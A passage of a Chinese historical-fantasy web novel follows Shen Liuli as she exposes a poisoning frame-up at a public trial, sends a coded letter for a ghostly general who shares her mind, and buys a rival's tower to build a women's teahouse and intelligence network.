她走到那个之前脱口回话的舞姬面前,柔声说道:“姐姐,你信我吗?若信我,我便还你一张清白的脸,若不信,琉璃也绝不勉强。”
那舞姬看着沈琉璃那双清澈见底的眼睛,又看了看旁边苏振那阴沉的脸色,心中天人交战。最终,她像是下定了某种决心,重重地点了点头!
沈琉璃不再犹豫,她取过另一盒全新的“玉容膏”,同样用银勺,刮取了一点,小心翼翼地涂抹在了那舞姬脸上。
所有人都屏住了呼吸,死死地盯着那张溃烂的脸。
奇迹,在下一秒,发生了!
只见那原本还在流脓的疮口,在接触到“玉容膏”的瞬间,竟像是沸水遇到了寒冰,立刻停止了溃烂!
紧接着,更不可思议的一幕出现了,在那疮口的边缘,一层如同水银般的银黑色物质,竟缓缓地从皮肤底下渗透了出来!
“看到了吗?”君北玄在她脑中,冷冷地说道,“这就是‘七日腐骨草’之毒,遇到极阳的‘雪山玫瑰’精华后,被逼出原形的铁证!”
沈琉璃的心,彻底定了下来。
她抬起头,面向早已惊得目瞪口呆的主审官和所有旁听者,用响彻全场的声音,朗声说道:
“三位大人,诸位乡亲,请看!”
“这银黑之色,便是天下奇毒‘七日腐骨草’的明证。此毒,歹毒异常,会由内而外腐蚀人的肌肤。而民女这‘玉容膏’,其核心,乃是采自北境极寒之地的‘雪山玫瑰’,性属极阳,恰是此毒的唯一克星!”
“我的‘玉容膏’,从来都不是毒药。它,是能让这幕后的阴谋,彻底暴露在光天化日下的照妖镜!”
“有人,用天下至毒之物,毒害这些无辜的女子,再反过来嫁祸于我,其心之歹毒,简直骇人听闻。恳请三位大人,为民女,也为这些可怜的姐姐们彻查此案,还我们一个公道!”
她的话,如同平地惊雷,引爆了整个公堂!
那几个“受害者”,在得知自己中的竟是如此奇毒后,更是吓得魂飞魄散,纷纷跪倒在地,哭喊着,将自己是如何被人收买,如何服下“毒药”的事情,一五一十地,全部招了出来!
真相,至此,大白于天下!
随着“受害者”们的当众反水,整个案情,发生了惊天逆转。
苏振的脸,已经不能用“难看”来形容了,那简直是一张死人的脸,他怎么也没想到,自己这边天衣无缝的计划,竟会被沈琉璃当堂破解!
三位主审官,此刻更是如坐针毡,他们本是收了大皇子的好处,准备将此案办成铁案。可如今,在众目睽睽之下真相大白,他们若再敢包庇,恐怕连头上的乌纱帽都保不住了。
“来人!”大理寺卿惊堂木一拍,声色俱厉地吼道,“立刻将‘百花阁’一应人等,全部缉拿归案,严加审讯,务必将幕后主使,给本官揪出来!”
“是!”
衙役们如狼似虎地冲了出去。
一个原本是审判沈琉璃的公堂,转眼间,变成了审判“百花阁”的刑场。
而沈琉璃,则从“阶下囚”,变成了揭露真相、拯救无辜的“大功臣”。
她走到那几个早已吓傻了的舞姬面前,从锦盒中,取出几瓶全新的“玉容膏”,交到她们手中,温言道:“几位姐姐放心,此毒虽猛但并非无解。这几瓶玉容膏便赠与你们,每日涂抹三次,七日之内,定能让你们恢复如初。”
“多谢沈小姐,多谢沈小姐救命之恩!”几个女子感激涕零,对着她就要跪下。
沈琉璃将她们一一扶起,随即转过身面向全场,目光清澈,声音响亮。
“诸位,今日之事,想必大家也都看明白了。我沈琉璃,以及我的‘玉容膏’,不过是被人当成了棋子。”
“我本想,安安分分地做些小生意,为自己攒些体己钱。可现在看来,树欲静而风不止,有些人就是见不得我们女子,靠自己的本事过上好日子。”
她的话,引起了在场所有女性的共鸣。
“所以,我决定了。”
她的眼中,迸发出前璀璨夺目的光芒。
“我,沈琉璃,尚书府嫡女,未来的大徽太子妃,正式宣布:我,就是‘玉容膏’,以及‘玉容阁’,幕后唯一的主人!”
这个石破天惊的自曝,让整个公堂,再次陷入了寂静!
一个即将嫁入皇家的顶级贵女,竟公然承认,自己是商贾?
这……这简直是闻所未闻!
然而,沈琉璃没有给任何人反应的时间,她乘胜追击,抛出了一个又一个,足以让所有女人都为之疯狂的“重磅炸弹”。
“第一,为感谢全城姐妹对我的信任,也为庆祝我的新生。三日后,我的‘玉容阁’,将正式推出三款全新的产品!”
“其一,名为‘净颜’的洁面膏,能深层清洁,去除污垢!”
“其二,名为‘花露’的爽肤水,能补水保湿,平衡水油!”
“其三,名为‘凝脂’的珍珠粉,能美白养颜,提亮肤色!”
“这三款产品,将作为我‘玉容阁’的入门级产品,都城所有百姓均可购买!”
“第二,”她竖起第二根手指,声音更加高亢,“我在此承诺,‘玉容膏’和‘玉容精华露’,未来所有的收益,我将拿出两成,成立一个‘乾国女子创业基金’,专门用来帮助那些有才华、有梦想,却苦于没有本钱的姐妹们,去开创属于她们自己的事业!”
“我沈琉璃,以及我的‘玉容阁’,要做的不仅是售卖美丽,我更要为我们全天下的女人,提供一份无人敢欺的底气!”
她的话,掷地有声,振聋发聩!
整个公堂内外,爆发出了一阵雷鸣般的喝彩与掌声!
在这一刻,沈琉璃不再只是一个会赚钱的商人,一个聪明的贵女。
她,一步登天,彻底封神!
她成为了所有乾国女子心中,一个闪闪发光的偶像!
君北玄在她脑中,看着眼前这副万众归心的狂热景象,许久许久,才用一种极其复杂的语气,轻声说道:
“本王承认,即便是本王当年,最兵锋鼎盛之时,也未曾有过如此刻这般,振臂一呼,应者云集的风光。”
“你赢了,沈琉璃,赢得彻彻底底。”
第21章 画昙花
三司公审的风波,最终落下了帷幕。
沈琉璃不仅没有身败名裂,反而因其过人的智慧和最后那番“为天下女子立心”的豪言壮语,声望达到了前所未有的顶峰。
“玉容阁”三个字,彻底成了乾国京城的一块金字招牌,而她沈琉璃,也从一个需要依附家族的深闺嫡女,变成了一个极具影响力的“偶像”。
当她乘坐着马车回到尚书府时,迎接她的,是截然不同的景象。
府门大开,下人们分列两旁,当她的车驾经过时,所有人都深深地躬下了身子。他们的眼神中再无半分往日的轻视,只剩下了发自内心的敬畏。
父亲沈从安,更是亲自在门外等候。他看着缓缓走下马车的女儿,那张一向严肃的脸上,露出了几分骄傲的神情。
他知道,自己的女儿已经羽翼丰满,这座小小的尚书府,再也困不住她了。
“你,做得很好。”最终,这位不善言辞的父亲,也只是拍了拍女儿的肩膀,说出了这句话。
一场危机,似乎就此消弭。
然而,当晚晴居的房门被关上,所有喧嚣被隔绝在外时。沈琉璃脸上的那份从容才终于褪去,化作了深深的疲惫。
“小姐,您今天真是太威风了!”春桃激动地为她奉上热茶,两眼都在冒着小星星,“您是没看见,那些夫人小姐们,看您的眼神就跟看活菩萨一样。还有那个苏大人,脸都绿了,真是太解气了!”
沈琉璃只是浅浅一笑,没有说话,这份风光的背后,隐藏着多少惊心动魄,只有她自己知道。
“一场漂亮的战斗。”君北玄的声音,在她脑海中响起,“你利用了所有人的情绪,百姓的同情,女人的共鸣,皇家的颜面。将一场针对你的必杀之局,变成了一场为你‘加冕’的盛大典礼。本王承认,这种不流血的战争,你比本王擅长得多。”
“将军过奖了。”沈琉璃轻声道,“只是,风光之后往往是更深的暗流。我今天虽然赢了,但也等于将自己所有的底牌,都亮在了明处,大皇子他们,绝不会善罢甘休。”
“没错。”君北玄的语气,也变得凝重起来,“所以,我们不能再等了。”
“什么?”
“本王的‘战争’,也该开始了。”君北玄的声音里,充满了压抑已久的杀意,“沈琉璃,你现在已经有了足够的自保能力,本王觉得,是时候让你知道所有关于我‘死亡’的真相了。”
那个夜晚,成了他们结盟以来,最漫长的一个夜晚。
君北玄,第一次将自己被暗杀的所有细节,对沈琉璃全盘托出。
他用一种近乎于“情景重现”的方式,向她描述着那个改变了他一生的黄昏。
“当时,本王的帅帐,设在北朔关外三十里的‘狼牙谷’。帐内,铺着北境雪狼的毛皮,点着能驱赶蚊虫的艾草香。本王正在与几位副将,商议着下一次对蛮族的出击计划。”
“那天的气氛,很正常,没有任何异常。”
“直到本王最信任的亲兵,张默,端着一杯热茶走了进来。”
君北玄的声音,微微一顿。
“那茶,是他亲手泡的。他跟了本王八年,从一个火头兵,被本王一手提拔到亲卫的位置。本王待他,如亲兄弟。”
“茶很香,带着诡异的杏仁甜香,本王当时并未在意,只当是他放了什么新的草药。”
“可当本王喝下那口茶后,一股穿心裂肺的剧痛瞬间炸开。本王的内脏仿佛都被人,用烧红的烙铁狠狠地搅动着!”
“本王倒下前,看到了张默的脸。他的脸上没有得意,没有凶狠,只有深深的愧疚。”
“本王看到的最后一样东西,是帐外一个黑衣人的背影。那个身影一闪而过,他的腰间,佩戴着一枚大内禁卫中,只有‘龙骧卫’才有资格佩戴,麒麟纹样的玉佩。”
听完他的叙述,沈琉璃只觉得手脚冰凉。
“龙骧卫……那是只听命于大徽皇帝和太子的精锐。”她喃喃道。
“没错。”君北玄冷笑道,“所以,此事必然与我那位好兄弟,脱不了干系,可是……”
他话锋一转:“那封随着孤狼坠送来的信,笔迹天衣无缝,但有一个破绽。”
“什么破绽?”
“本王写‘玄’字时,最后一点,习惯用一个向左的回锋,以示锋芒内敛,而那封信上,却是标准的悬针。模仿者是个顶尖高手,但他只学到了本王的风骨,却没有学到本王深入骨髓的习惯。”
“这说明什么?”
“说明模仿者与本王,并不算真正意义上的‘亲近’,他能接触到本王公开的文书,却无法看到本王私下的手稿。”君北玄做出了判断,“所以,本王才怀疑,此事未必是太子所为,他的行事风格,更喜欢‘名正言顺’,而非这种阴诡的嫁祸。”
“那我们现在,该如何是好?”沈琉璃问道。
“联系陆风。”君北玄说道,“他是本王最信任的统帅,也是唯一知道所有秘密的人,只有找到他,才能知道我‘死’后,北境究竟发生了什么。”
“可要如何联系?”
“本王与他之间,有一套独有的军事暗号。”君北玄解释道,“这套暗号,基于一本极其偏僻的古诗集《南华录》。你只需写一封普通的商业信函,但在信中,按照特定的顺序,提及几种药材的名字。将这些药材名的首字连起来,便能构成我们约定的暗号——‘北玄未死,乾国都城,速来’。”
沈琉璃听完,点了点头,随即,她又提出了自己的想法。
“这个方法很好,但还不够保险,万一陆风将军身边,没有带着那本《南华录》呢,万一他一时无法解开暗号呢?”
“不可能!”君北玄傲然道,“一个合格的将领,绝不会……”
“凡事都有万一,我们必须上双重保险。”沈琉璃打断了他,语气不容置喙,“将军,除了暗号,你们之间,是否还有什么,只有你们知道的信物或约定?”
君北玄沉默了。
许久,他才低声说道:“本王母妃,生前最爱在庭院中,种植一种名为‘月下白’的昙花。陆风,曾奉本王之命,回京为我母妃送过寿礼,见过那满院的昙花。”
“好!”沈琉璃的眼中光芒一闪而过,仿佛找到了破局的关键,“就用它!”
她提笔,很快便以“玉容阁主”的身份,写好了一封向边境皮货商求购北境珍稀药材的信。信中,她巧妙地将那几味带有暗号的药材穿插了进去。
然后,她开始在落款的印章旁,画那朵昙花。
她胸有成竹,几笔淡墨勾勒出一朵含苞待放的昙花,自认为颇有几分雅致。
“如何?”她在心中,得意地问道。
君北玄沉默了片刻。
“……你画的,是什么?”他的声音,满是困惑。
“昙花啊。”
“昙花?确定这不是一棵卷心菜吗?”
沈琉璃脸上的得意,瞬间凝固了。
“你懂什么!”她气得在心里反驳,“我这叫‘写意’!注重的是神韵!神韵你懂吗?!”
“不懂。”君北玄的回答,简单粗暴,“本王只知道,陆风他也一定不懂。他要是收到一封信,上面画着一棵卷心菜,他大概会以为,你在暗示他,我们的敌人是个菜贩子。”
“你!”
沈琉璃气得拿起那张信纸,就要撕掉,可一想到那上好的纸张和墨,又心疼地停下了手。她深吸一口气,将那张信纸揉成一团,扔到一旁,又铺开了一张新的。
“行,听你的!这次,我画得写实一点!”
她屏住呼吸,这一次,一笔一划都力求精准。片刻后,一朵形态清晰、花瓣分明的昙花,跃然纸上。
“这次呢?”她没好气地问。
“……嗯,有进步。”君北玄先是肯定了一句。
“但这花瓣的弧度不对,‘月下白’的弧度,应该再内收半寸;还有这片叶子太肥了,显得毫无风骨;最重要的是花蕊!你画了十七根花蕊,可本王清楚地记得,我母妃院里的那几株开花时,都是十八根花蕊!”
“你少画了一根!这是致命的破绽!陆风治军严谨,观察入微,他看到这朵‘十七蕊’的残次品,定会以为是敌人设下的陷阱!”
春桃在一旁,看着自家小姐,一会儿满面春风地作画,一会儿又柳眉倒竖地对着空气咬牙切齿,最后,竟开始对着一朵花,数起了“一、二、三……”,她只觉得,小姐的“邪症”,怕是再一次病入骨髓了。
“君!北!玄!”
沈琉璃终于忍无可忍,在心中,发出一声咆哮:“这花是长在你家后院的吗?!你还数过它有几根花蕊?!”
“当然!”君北玄的回答,理直气壮,“知己知彼,百战不殆!了解自己身边每一件事物的细节,是一个将军的基本素养!”
“……”
沈琉璃感觉自己快要被这个鬼王爷,给活活逼疯了。
在连续废掉了十几张上好的宣纸后,她终于,在君北玄的严格标准下,画出了一朵让他满意的昙花。
“好了!”她将这封凝聚了血与泪的信,小心翼翼地封入信封,看都不再看一眼,“就它了!不管你满不满意,都这样了!爱用不用!”
“哼,孺子可教也。”君北玄的语气里,竟带上了满足的欣慰。
沈琉璃:“……”
她决定,在找到让他复活的方法之前,再也不跟他讨论任何有关“艺术”的话题了。
第22章 醉仙楼
送出那封寄托着希望的信后,沈琉璃的生活,似乎又恢复了往日的平静。但所有人都知道,这位未来的太子妃,已经不一样了。
她在公审案上所展现出的智慧和胆识,让她拥有了不可小觑的社会地位。
最直接的体现,就是每日递进尚书府的那些拜帖。
“小姐,您看,这是安远侯府的老夫人,亲自下的帖子,请您过府赏菊呢。”春桃抱着一堆制作精美的拜帖,喜滋滋地说道,“还有这个,是吏部王侍郎的夫人,想请您去听戏。还有这个,这个兵部尚书府上的赏梅宴,天哪,连兵部尚书夫人都给您下帖子了!”
春桃兴奋地念着,这些在过去,都是她们主仆二人,连想都不敢想的尊贵应酬。
沈琉璃只是淡淡地听着,心中却波澜不惊。
“你看,这就是你说的,‘振臂一呼,应者云集’。”她在心里,对君北玄说道。
“哼,一群趋炎附势的墙头草罢了。”君北玄的语气里,充满了不屑,“今日她们能为你锦上添花;明日,她们也能为你落井下石。”
“我知道。”沈琉璃点了点头,“所以,我才更需要,建立一支真正属于我自己的‘军队’。”
“军队?”君北玄来了兴趣,语气中带着审视,“你终于想通了,要本王教你如何练兵吗?招募、筛选、负重、越野……本王有一整套最严酷的操练方法,保证不出三月,就能为你练出一支精兵!”
沈琉璃听着他那套“练兵方法”,忍不住翻了个白眼。
“王爷,您是不是忘了,我们乾国不允许私人豢养军队,您这是想让我刚‘封神’,就立刻‘上路’吗?”
“迂腐!”君北玄被噎了一下,没好气地说道,“那你说,你要建什么军队?”
“我要建立的,不是一支拿刀的军队。”沈琉璃的眼中,闪烁着炙热的光芒,“而是一支拿钱的军队,一支用‘美丽’和‘信息’,来攻城略地的娘子军。”
君北玄再次陷入了困惑,他发现,自己这位盟友的脑子里,总是装着一些他闻所未闻的想法。
沈琉璃没有再向他解释,她用行动开始了自己的布局。
她做的第一件事,便是正式开启,她那庞大的商业帝国的扩张。
她将忠叔叫到了书房。
“忠叔,”她开门见山地说道,“我们有钱了,但这些钱,不能只是放在库房里。我要让它们,变成更多的钱,变成我们的权势。”
“小姐有何吩咐?”忠叔恭敬地问道。
沈琉璃铺开一张京城地图,指着上面最繁华的地段,说道:“我要你,不计成本,盘下这里最大的那家‘醉仙楼’。”
“醉仙楼?”忠叔一惊,“小姐,那可是京城最大的酒楼啊,怕是不好盘。”
“不好盘也得盘,我要将它改造成一个全京城,乃至全乾国,独一无二的地方。”沈琉璃的眼中,闪烁着勃勃的野心。
“一个……只为女人服务的‘云上居’。”
在沈琉璃的构想中,“云上居”将不再是传统的酒楼。
一楼,是开放式的茶座,提供独家的养生花茶和新奇的茶点,是普通会员和中产阶级妇人们,享受下午茶、交流八卦的最佳场所。
二楼,是独立的雅间,只有“玉容阁”的顶级会员,才有资格预定。这里,将是她们进行私人宴请、秘密会谈的绝佳地点。
三楼,则不对外开放,那是属于沈琉璃自己的情报中心。
“你要把酒楼,变成你们女人的‘参谋部’?”君北玄听完她的计划,真正感觉到了什么叫“不寒而栗”。
他忽然觉得,自己死得或许并不冤。因为,他从来没有想过,战争,还可以用这种方式来进行。
沈琉璃的商业帝国蓝图,宏伟而又充满了诱惑力,但执行的第一步,就遇到了最现实的麻烦。
“小姐,那个‘醉仙楼’的王掌柜,是个滚刀肉!”忠叔一脸愁容地前来汇报,“老奴亲自上门去谈了三次,他都避而不见。后来,老奴花钱买通了他身边的小厮,才问出实话,那王掌柜,根本就不想卖!”
“不想卖?”沈琉璃有些意外,“有钱他为何不赚?”
“因为……因为他不敢。”忠叔压低声音道,“那小厮说,王掌柜的酒楼,背后有‘贵人’罩着。每个月,他都要向那位‘贵人’,上交三成的利润,那位‘贵人’发了话,不准他卖!”
“那我们该怎么办?”春桃在一旁急得团团转,“小姐,要不我们换一家?那‘醉仙楼’旁边,还有一家‘听风轩’,虽然小了点,但也……”
“不行。”沈琉璃摇了摇头,语气坚决,“我就要‘醉仙楼’,不仅因为它最大,位置最好,更因为它是大皇子的产业。我要扩张,就必须从他身上,撕下第一块肉来,这也是在向所有人宣告,我沈琉璃,不是好惹的。”
“有志气。”君北玄赞了一句,随即又开始了每日的“抬杠”,“可你现在,连人家的门都进不去,你的志气要如何施展,靠你那三寸不烂之舌,去说服一堵墙吗?”
“谁说我要去说服他了?”沈琉璃在心里白了他一眼,回敬道。
她转头,看向忠叔,问道:“忠叔,我让你查的另一件事,查得如何了?”
忠叔的脸上,露出古怪的神情,他从怀中取出一本小小的册子,递了上去。
“小姐,都查清楚了,这位王掌柜,为人还算本分,不好女色,不喜古玩,唯一的爱好,就是喜欢在每个月的十五,去城南的‘乌金巷’,听两圈牌九。”
“哦?只是听听?”沈琉璃的眼中,闪过笑意。
“是。”忠叔的脸,憋得有些发红,“据我们的人观察,王掌柜他手气极差,逢赌必输。如今,他不仅把酒楼赚的钱都输光了,还欠了‘乌金巷’的黑豹哥,整整三万两的赌债。黑豹哥给他下了最后通牒,这个月底再不还钱,就要剁了他的手。”
“哈哈哈哈!”君北玄在她脑中,发出了幸灾乐祸的大笑,“本王就知道,一个人的精力是有限的。他既然把心思都花在了溜须拍马上,那在别的地方,必然是个废物。赌运,也是实力的一种!”
沈琉璃没有理会他的幸灾乐祸。
她知道,她要等的“东风”来了,而她将要用一种,君北玄绝对想不到的方式,去兵不血刃地拿下这座城池。
她让忠叔,以“玉容阁”掌柜的身份,正式向“醉仙楼”的王掌柜,递上了一张拜帖。
地点,就约在京城最雅致的“听雨轩”茶楼。
王掌柜本不想来,可当他看到拜帖上,那枚属于“四海珍宝阁”刘掌柜的私人印章时,他还是硬着头皮,来了。
当他走进雅间,看到的,不是那个老成持重的忠叔,而是一个让他呼吸都为之一滞的绝色少女。
“王掌柜,请坐。”沈琉璃抬起眼帘,声音平静无波。
“你……你就是……”
“我是谁,不重要。”沈琉璃为他倒了一杯茶,茶香四溢,“重要的是,王掌柜好像遇到了一点麻烦。”
“我能有什么麻烦?”王掌柜色厉内荏地说道。
沈琉璃没有与他争辩,只是将一本看起来毫不起眼的册子,轻轻地推到了他的面前。
王掌柜疑惑地打开册子,只看了一眼,便如遭雷击!
那上面,画的不是什么山水人物,而是一件件专门为女性设计的赌具!
有象牙雕花的麻将,有紫檀木镶嵌宝石的牌九,甚至,还有一副由整块暖玉打磨而成的骰子!
“这是我名下的‘玲珑坊’,即将推出的专门为京城贵妇们,定制的‘闺房雅趣’系列。”沈琉璃轻声说道,声音里带着魔鬼般的诱惑。
“王掌柜,你猜,如果我将这些东西,献给那些终日无聊,却富可敌国的夫人们,她们会不会喜欢?”
“你再猜,如果我和‘乌金巷’的黑豹哥合作,让他专门为我的‘顶级会员’们,提供最私密的‘娱乐场所’。你猜,黑豹哥,是会更看重你那三万两的烂账,还是我这座,能为他带来金山银山的‘女子俱乐部’?”
王掌柜的冷汗,已经浸透了他的后背。
他看着眼前这个笑靥如花的少女,知道自己早已没有了任何选择的余地。
这一刻,他才明白,他招惹的根本不是什么不谙世事的大小姐,而是一个能将黑白两道、权贵豪门,都玩弄于股掌之间的魔鬼。
第23章 揽月楼
王掌柜的冷汗,已经浸透了他的后背。他看着眼前这个笑靥如花的少女,知道自己早已没有了选择的余地。
半个时辰后,王掌柜失魂落魄地走出了茶楼。他的手上,紧紧地攥着一张五千两的银票和一份签好了字的地契转让文书。
雅间内,沈琉璃将那本画着精美赌具的册子随手丢进了香炉里,火苗一卷便将其化为了灰烬。
“他就这么走了?”君北玄在她脑中,用一种恨铁不成钢的语气说道,“还给了他五千两?沈琉璃,你这生意做得可真是‘仁义’啊!连叛徒的遣散费都考虑得如此周到!”
“王爷,您脑子里除了打打杀杀,还有没有别的东西了?”沈琉璃在心里没好气地回了一句,“他已经够可怜了,被大皇子当狗使,又被赌场逼债。他今天敢卖楼给我,就是冒着被大皇子灭口的风险。我给他一笔钱,让他还了债,赶紧逃命去,这叫慈悲为怀,您懂吗?”
她轻轻叹了口气:“只希望他能跑得快一点,真的能平安活下去吧。”
“慈悲为怀?妇人之仁!”君北玄气得差点魂飞魄散,“你这是在给自己留下后患!一个活着的敌人永远都是威胁!你花钱买楼,还要再花一笔钱,去关心一个叛徒的死活?本王真是无法理解你们女人的脑子!”
“您不懂就对了。”沈琉璃心情很好地端起了茶杯,“这叫‘花钱买心安’。”
第二日,朱雀大街上,曾经宾客盈门的“醉仙楼”正式摘下了牌匾,数队精干的工匠开始进驻,用厚厚的帷幔将三层高的阁楼都遮挡了起来,引来了无数路人的好奇与猜测。
沈琉璃带着春桃和忠叔,第一次以主人的身份,踏进了这座属于自己的商业堡垒。
阁楼内部,一楼是开阔的大堂,二楼是独立的雅间,三楼则是一个能俯瞰半个朱雀大街的平台。
“哇——”春桃看着这气派的景象,忍不住发出一声惊叹,“小姐!这里好大呀!比我们整个尚书府的后院都大!我们真的能把这里经营好吗?”
春桃的惊叹,也问出了沈琉璃心中的疑惑。
她虽然成功拿下了这座楼,但看着眼前这巨大的空间,一种对于未知的压力也随之而来。
她知道如何制作玉容膏,也懂得如何利用人心。可要经营这么大的一座楼,她还差得远。
“你在害怕?”君北玄的声音,适时地响起。
“我没有。”沈琉璃嘴硬地在心里反驳。
“你的心跳,出卖了你。”君北玄不屑地说道,“妇人就是妇人,打赢了一场小仗就开始满足于眼前,对如何建立真正的根据地毫无头绪。”
“那依将军高见,该当如何?”沈琉璃被他一激,反而冷静了下来。
“很简单。”君北玄的语气,充满了统帅的自信,“任何一场成功的战役,都离不开三样东西:一个明确的战略目标,一个高效的指挥体系,以及一套万无一失的防御方案。”
他顿了顿,用一种“老师”的口吻,继续说道:“现在告诉本王,你的战略目标是什么?”
沈琉璃被他问得一愣,随即,她的思路被君北玄这种极具逻辑性的思维方式,给彻底打开了。
她深吸一口气,眼中重新燃起了光芒。
“我的战略目标,有两个。”她缓缓说道,“第一,是赚钱,赚取足以让我抗衡任何势力的财富。第二,是情报,我要让这座楼,成为全都城消息最灵通的地方,成为我在这座城市里的眼睛和耳朵。”
“很好。”君北玄点了点头,“那么,你的指挥体系呢?你要如何划分你的‘战区’”
“这……”沈琉璃看着那三层高的阁楼,陷入了沉思。
在与君北玄进行了一番激烈的讨论后,一套全新的蓝图,在她的脑海中正式成型。
她转头,对着早已听得云里雾里的忠叔和春桃,下达了指令。
“忠叔,春桃,你们听好了。”
“从今天起,这座楼就叫‘揽月楼’。”
“一层,‘品茗轩’。这里将售卖我们独家的茶水和点心,价格亲民,面向所有对我们好奇的客人开放。这里是我们的‘前沿阵地’,负责收集最广泛的市井信息。”
“二层,‘霓裳坊’。这里将是最高端的服装定制工坊,只为‘玉容阁’最顶级的会员,提供一对一的私密服务。这里,是我们的‘军工厂’,负责产出最奢华的‘军备’。”
“三层,则是拥有十二间不同主题的顶级雅间,同样,只对会员开放。这里,是我们的‘社交战场’和‘情报中枢’。当然,”她微微一笑,“最大的那间‘望月台’,将是我的私人领域,也就是我们的‘指挥部’。”
这番话说得条理清晰,逻辑严密,不仅春桃和忠叔听得连连点头,连君北玄,都在她脑中,发出了一声满意的、低沉的“嗯”。
但他很快,又找到了新的“抬杠”角度。
沈琉璃指着空旷的一楼大堂,正对忠叔和春桃描绘着未来的景象:“这里,我要引一条活水进来,绕着大堂做一圈曲水流觞的景致。客人可以坐在水边,赏花品茗,听风看雨。”
“然后呢?”君北玄的声音像一盆冷水,在她脑海中浇了下来,“水流的声音,会掩盖脚步声。敞开的大门,会让刺客在三步内,就冲到客人的面前。你这是在为刺杀,提供完美的音乐和通道。”
沈琉璃的笑容,僵在了脸上。
她深吸了一口气,不理他,拉着春桃上了二楼:“二楼的雅间,每一间的窗,都要对着后院的竹林,要让客人能看到四季的景致……”
“很好。”君北玄的声音再次响起,“也方便了外面的人,用一支毒箭,轻易地解决掉你的客人。记住,窗户不是用来欣赏风景的,它是最薄弱的突破口。”
沈琉璃终于忍无可忍:“君北玄!你够了!我们是开茶楼,不是开军事要塞!你说的这些,一百年也未必会发生一次!”
君北玄的灵魂,在她脑海中陷入了长久的沉默。
许久,他才用一种带着悲哀的声音说道:“是吗?可我就遇到了那一次。”
沈琉璃瞬间哑口无言。她这才意识到,他那近乎于偏执的“安全意识”,并非杞人忧天,而是用性命换来的血泪教训。
“在我的生意经里,体验才是第一位的!”虽然这么想,但是沈琉璃依然毫不示弱地反驳,“如果我的客人,每次来我这里,都感觉像是进了一座监狱,你觉得她们还会来吗?”
“那就在所有雅间里,都安排两名护卫;在房梁上,再埋伏四个弓箭手!”
“您是想让我的‘揽月楼’,开业第一天,就因为‘意图谋反’而被京兆府查封吗?”
“妇人之见!”
“钢铁直男!”
一人一鬼,再次因为理念不同,在脑海里吵得不可开交。
最终,还是沈琉璃,用一句“您说的都对,但您的人,什么时候能到?”,成功地让君北玄闭上了嘴。
就在此时,府里的小厮匆匆跑来,通报道:“大小姐,老爷请您立刻去一趟书房,说是有要事相商。”
沈琉璃的心,咯噔一下。
她知道,她盘下“醉仙楼”这么大的动静,定然是瞒不过父亲的。
沈从安的书房内,气氛凝重。
他看着眼前这个自己既熟悉又陌生的女儿,心中百感交集。
“琉璃,坐。”他指了指对面的椅子,语气复杂,“‘醉仙楼’的事,我听说了,你这是要做什么?”
他看着女儿的眼睛,声音里充满了忧虑:“那‘玉容膏’已让你站上了风口浪尖,人人都知你手握巨富。为父原以为,你会就此收手,韬光养晦。如今,你又为何要如此张扬,将大皇子名下的产业都盘了过来?你这是在主动向他宣战啊!树大招风,你明不明白?!”
沈琉璃知道,父亲是真的在为她担心。
她站起身,为父亲重新斟满一杯茶,轻声说道:“父亲,孩儿知道,您是为我好。可您也该明白,自从我被大徽皇后点名嘉奖,被大皇子视为眼中钉的那一刻起,我就已经再无退路了。”
“躲,是躲不掉的。既然如此,为何不让自己,变得更强大,强大到让他们,再也不敢轻易动我?”
她将自己关于“揽月楼的商业计划,向父亲和盘托出。她告诉父亲,她要建立的,不仅仅是赚钱的铺子,更是一个属于自己的“情报网”。
沈从安听着女儿那宏伟的蓝图,再一次被深深地撼动了。他发现,女儿的眼界和格局,早已远远地超越了他这个在朝堂上摸爬滚打了半辈子的老臣。
最终,他没有再阻拦,只是疲惫地挥了挥手:“罢了……你好自为之吧。需要用钱的地方,若是不够,便从府中的账上支取。”
这是他作为一个父亲,在这场看不见硝烟的战争中,为自己的女儿押上的全部赌注。
得到了父亲这份沉甸甸的默许,沈琉璃知道,她商业帝国的那双翅膀,终于补上了最后一片羽毛。
下一次,当它振翅高飞时,整个乾国都城都将为之天翻地覆!
第24章 私人定制的品鉴会
“揽月楼”的改造,正式启动。
沈琉璃没有理会君北玄的设计理念,而是完全按照自己的想法,将整个阁楼打造成了一座江南园林般的梦幻场所。
与此同时,她开始为“揽月楼”的开业,研发独家的菜单。
“光有环境,没有核心产品也是不行的。”她对君北玄说,“我要让我的客人们,每次来都有新的惊喜。”
“这有何难?”君北玄不屑地说道,“本王当年南征北战,什么山珍海味没尝过,我这就报几个菜名给你。”
随即,他便报出了一连串充满了“阳刚之气”的菜名。
“烤全羊,要用一岁大的羔羊,用烈火烤至外皮金黄酥脆,再撒上北境特有的孜然,此乃‘横扫千军’!”
“手抓肉,要用大块的肋排,只用清水煮熟,蘸着盐巴吃,原汁原味,此乃‘大漠豪情’!”
“还有,还有那血肠,将羊血灌入肠中,煮熟切片,那味道……”
“停!”沈琉璃及时地,制止了他这些不着调的菜品。
“王爷,我再说一遍,我的客人是都城最尊贵的夫人和小姐,她们每日为了保持身材,连多吃一口米都要计算再三,你让她们啃羊腿?吃血肠?”
“……矫情!”君北玄被噎得半天说不出话。
沈琉璃哭笑不得,不过她也可以从君北玄那北境的食谱中,去寻找灵感。
她聘请了一位专为女性调理身体的食医,共同研发。
她们将君北玄说的“烤全羊”,变成了用文火慢烤的“迷迭香小羊排”。
将“手抓肉”,变成了用十几种滋补药材,精心熬制了十二个时辰的“胶原美人汤”。
至于那“血肠”,则被扫进了历史的垃圾堆。
取而代之的,是一系列造型精美、味道清甜,又兼具养生功效的独家花草茶点。
“玫瑰鲜花饼”、“桂花莲子羹”、“燕窝蛋挞”……
每一道,都精准地踩在了女人的心尖上。
“揽月楼”的二层,春桃正叉着腰,有模有样地指挥着几个壮汉,将一口巨大的紫檀木箱,小心翼翼地抬上来。
“慢点,慢点!都小心些!”
箱子里装的,正是沈琉璃之前从继母柳氏手中,夺回来的皇家御贡“云锦”。
“妇人家的东西,就是麻烦。”君北玄在她脑中,看着那几个壮汉累得满头大汗的模样,不屑地评价道,“几匹破布而已,竟比本王当年的铠甲还要金贵。”
“王爷,您这就不懂了。”沈琉璃在心里,得意地回敬了一句,“您那副铠甲,或许能为您赢得一场战役。可我这几匹‘破布’,却能为我买下整整一座城池。”
就在此时,三位曾经的宫廷绣娘,也在忠叔的引领下,颤颤巍巍地走上了二楼。
当她们看到如同流云霞光般的“云锦”时,都激动得老泪纵横,抚摸着布料,如同抚摸着自己失散多年的孩子。
一切,都在向着最好的方向发展。
时间,在“揽月楼”紧锣密鼓的筹备中,悄然流逝。
